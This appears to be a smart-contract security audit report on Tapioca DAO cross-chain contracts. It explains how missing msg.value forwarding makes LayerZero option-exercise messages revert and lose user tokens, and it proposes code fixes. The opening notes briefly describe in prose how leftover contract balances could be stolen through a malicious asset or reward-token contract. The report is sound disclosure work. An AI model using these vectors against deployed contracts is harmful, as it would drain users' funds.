• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L205 - This assumes that the airdropped value is inside the MagnetarV2 contract since there is a withdrawal to other chain option, and if everything fails the airdropped token is left in the MagnetarV2 contract.

• https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L127

• https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229 - This same message pathway can be used to steal any balance of BaseTapOFT contract since try twTap.claimAndSendRewards(tokenID, rewardTokens)doesn't revert if rewardTokens are not valid tokens, e.g. are just some malicious contract.

• https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312

If the gas tokens remain as the balance of the MagnetarV2 contract the easiest way to steal them is to call withdrawToChain since it can be set up so asset is a malicious contract which just receives value.

Assessed type

Other

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L127-L146 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L536-L550

Vulnerability details

Impact

Packet type PT_TAP_EXERCISE always reverts due to not passing properly the msg.value to the final destination contract. When first sent out it will revert and be stored inside failedMessages and the user is not able to retry the message. The user losses gas and TOFT tokens by using this function.

Layer Zero message delivery

LayerZero is a messaging protocol that enables the delivery of payload from chainA to chainB. The sender specifies and pays for the destination gas and has the option of airdropping native gas tokens into an address on the destination chain. This is done through relayer params. The Relayer invokes the validateTransactionProofV2 function on the destination chain to deliver the payload. The airdropped value is not part of the msg.value but is delivered as address(this).balance on the destination contract. Also, the validateTransactionProofV2 function doesn't revert if airdropped tokens are not sent to the destination contract. It just emits an event, so the assumption always has to be that nothing is airdropped in the worst case.

(bool sent, ) = _to.call{value: msg.value}("");
//require(sent, "Relayer: failed to send ether");
if (!sent) {
    emit ValueTransferFailed(_to, msg.value);
}

Proof of Concept

The flow of the issue is the following:

1. User invokes exerciseOption function and is allowed to pass on a bunch of parameters which are not validated. The only thing which is validated is does he have enough TOFT tokens, which are being burned and the packetType is PT_TAP_EXERCISE and he cannot airdrop any native tokens since adapterParamsV1 are enforced.
2. When this message is delivered to the destination chain, the first step is decoding the params.
3. If one of the decoded params tapSendData.withdrawOnAnotherChain is true after exercising the option the tapOFT tokens are tried to be sent out to another chain. The problem is that the sendFrom is missing {value: address(this.balance) and the transaction reverts.
4. if we take a look at the implementation of the sendFrom function inside the BaseOFTV2 and the underlying _send function in OFTCoreV2. We can see that the _lzSend relies on the msg.value. However, in this case msg.value is always 0.
5. Even if the sending side allowed to airdrop some native tokens, again in my explanation of the Layer Zero message delivery the airdropped tokens are always airdropped as a balance of the contract, so the issue needs to be addressed in multiple places in the code.
6. What is troublesome is that once this message is stored inside the failedMessages mapping, the user can never retry it because it would always fail due to the same reason of not having sendFrom{value: address(this).balance}.

Tools Used

• Manual review
• Foundry
• LayerZero scan

Recommended Mitigation Steps

In my other issue, I have elaborated on the issues of airdropping users' tokens into TOFT's contract balance. It should be avoided. But the immediate fix for this issue is:

• Add the option of airdropping tokens into the exerciseOption through adapterParamsV2 as it is done for many other packet types.

• Add the value to the sendFrom external call.

ISendFrom(tapSendData.tapOftAddress).sendFrom{value: address(this).balance}(
                address(this),
                tapSendData.lzDstChainId,
                LzLib.addressToBytes32(from),
                tapAmount,
                ISendFrom.LzCallParams({
                    refundAddress: payable(from),
                    zroPaymentAddress: tapSendData.zroPaymentAddress,
                    adapterParams: LzLib.buildDefaultAdapterParams(
                        tapSendData.extraGas
                    )
                })
            );

Other occurrences

• This exact same issue occurs while exercising option through BaseUSDO and when it is received on the other chain through the exercise function. This would also result in loss of USDO tokens and gas for the user.

• initMultiHopBuy results in loss of airdropped tokens since no USDO is burned in this case. This function offers the option of airdropping tokens through airdropAdapterParams but when it is received on the remote chain it invokes multiHopBuyCollateral on the Singularity contract which expects msg.value. Thus, the whole thing would revert and be saved inside failedMessages mapping. And since the {value: address(this).balance} is missing in the multiHop the user cannot retry the message.

• initMultiSell suffers from the same issue I just described above. The user would lose gas and airdropped tokens. {value: address(this).balance} is missing from multiHopSellCollateral function.

Assessed type

Payable